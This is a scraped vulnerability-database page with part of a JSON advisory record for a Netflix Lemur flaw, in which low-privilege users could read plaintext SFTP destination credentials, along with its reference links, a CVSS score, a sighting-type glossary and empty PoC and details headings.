      "type": "WEB",
      "url": "https://github.com/Netflix/lemur/security/advisories/GHSA-6c8m-q6g9-vrw3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/lemur/commit/751c970ec42a53d00ecc9c6a96e0e51b6737ae53"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Netflix/lemur"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/lemur/releases/tag/v1.9.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Lemur: Authenticated low-privilege users can read plaintext destination credentials (SFTP password / private-key passphrase) via the destinations API"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

PYSEC-2026-3674

Summary

Details

PoC

Impact

CVE-2026-71307 (GCVE-0-2026-71307)

GHSA-6C8M-Q6G9-VRW3

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour